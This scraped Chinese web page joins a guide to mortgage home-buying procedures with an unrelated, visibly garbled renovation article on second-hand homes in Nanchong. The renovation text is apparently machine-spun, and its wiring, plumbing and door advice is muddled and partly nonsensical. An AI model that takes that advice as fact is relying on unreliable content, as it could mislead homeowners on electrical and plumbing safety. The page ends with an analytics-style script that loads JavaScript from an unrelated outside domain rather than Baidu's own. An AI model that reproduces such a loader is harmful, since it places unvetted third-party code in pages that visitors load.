按揭买房手续有哪些? 有哪些容易忽略的?

现在中国的房地产已经不是简单的居住的一个产业了，有很多的复杂的因素在里面。现在房价格居高不下，对于很多人来说房子也是奢侈品了，就算有很多的收入还算客观的话也是很难一下子把房款都付清，所以按揭买房已成为了现在很多人的付款方法，那么，按揭买房手续有哪些?有哪些容易忽略的?现在小编就给大家介绍一下。按揭买房手续有哪些?有哪些容易忽略的?所谓的按揭贷款即购房者以所购住房做抵押并由其所购买住房的房地产企业提供阶段性担保的房地产企业提供阶段性担保的个人住房贷款业务。购房者在办理按揭贷款买房时,一般是按照下列步骤办理按揭贷款手续:1、需要与房产开发商签购房合同。这里需要注意审查开发商是不是具有“五证”。2、支付首付款的时候,需要注意保存首付款收据。3、要到银行填写《个人房屋贷款申请表》。房产开发商一般都会与一家或几家银行签订合作协议,因此到与开发商有协议的银行办理按揭贷款协议,这样办理手续会方便些。带齐首付款收据、《商品房的买卖合同》、身份证、本市户口簿(如非本市户口提供一年以上暂住证明)、收入证明等原件及复印件到银行填写《个人房屋贷款申请表》。4、银行审查按揭贷款的相关申请。贷款行的信贷人员要对申请人提交的材料进行审查和逐级审批,如果认为符合银行的贷款条件,会通知申请人签订《个人房屋按揭贷款合同》,合同期限不超过30年。5、要到房产所在房管局办理《房屋他项权利证》,用以证明此房产上有银行的抵押权。到公证部门办理产权抵押公证。到保险公司办理房屋保险。6、在银行开立账户。选用委托扣除款方式还款的客户需与银行签订委托扣款协议,并在贷款行指定的营业网点开立还款专用的储蓄存折账户或储蓄卡、信用卡账户。同时,售房人要在贷款行开立售房结算账户或存款专户。7、发放贷款。通过审核并且办妥有关手续后,贷款行按照借款合同约定,将贷款直接转入借款人在贷款行开立的存款账户内,或将贷款一次或分次划入售房人在贷款行开立的存款账户内。8、如约还款。贷款人必须按借款合同约定的还款计划、还款方式偿还贷款本息,否则银行可以依法收回房屋。9、偿还完毕贷款。贷款本息结清后,注销抵押登记,购房者就成为房屋的真正人了。以上，小编给大家介绍了按揭买房手续有哪些?以及有哪些容易忽略的?按揭买房手续相对来说是较多的，但是并没有非常复杂，只是有需要一些相关的财力证明和抵押，如果是没有这些条件是不行的，所以消费者如果是要按揭买房的话，可以提前把这些资料准备好，这样才从容，还可以咨询相关人员怎样付款是最优惠的哦。

南充二手房翻新知识 有哪些需要注意的事项

装修旧房子分为许多情况：一些被自己或家人占用，另一些则是二手房，旧的已经使用了一段时间，无论是你自己的老房子还是“别人”的旧房子，在装修时都不要全部装修，因为有些材料已被使用，但在产品使用寿命多年后，这些旧材料可以连续使用，也可以移除以前的板并将它们转换成架子，长凳，椅子等，对于普通级别的木匠来说，这些简单的任务不是问题，关键是你自己的创造力，接下来看下南充二手房翻新知识吧。南充二手房翻新首先，南充二手房翻新-电路可以不修改，但是插座需要增加。南充二手房翻新通常具有简单的电路布局，旧电缆，非法布线等，并且不再能满足我们的要求，因此在翻新期间必须完全重建和重定向，如果发现原始线路是铝质电缆，则必须用2.5平方毫米的铜线替换，对于带有空调等高功率设备的生产线，必须单独提供4mm方形截面线，嵌入时应使用PVC绝缘保持线。此外，如果使用大量的移动销售点，当电流充电时，当电流增加时，移动插座会因接触不良而出现异常高温，如果发生电击和电气火灾事故，可能会造成隐患。其次，南充二手房翻新-老化的水管必须更换二手房的有许多不合格的地方，所以在家中安装时，应全面检查，看它们是否生锈或老化，如果原始管道使用已拆除的镀锌管，则必须在更新过程中更换铜管，铝管和塑料管或PP-R管。​第三，旧门窗必须拆除并重做。老化门窗也成屋销售问题的一个重要问题，但如果材料是比较坚固的，你又不太喜欢，在一般情况下，无论何时重新喷漆可以改善这个问题，但如果出现以下问题，您必须删除重做，主要问题取决于木门和窗户是否影响使用，如果有，这意味着基本上无法使用，因此必须更换，另外，钢门窗的表面上的涂膜被拆卸，并且所述主体被生锈或破裂，这是非常危险的，所以为避免影响使用效果，建议取消重做。在南充二手房翻新时，这个时候是消除隐藏危险的好机会，所以业主必须验证并严格消除过去留下的“隐藏的危险”并在装修的时候需要注意细节的问题。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();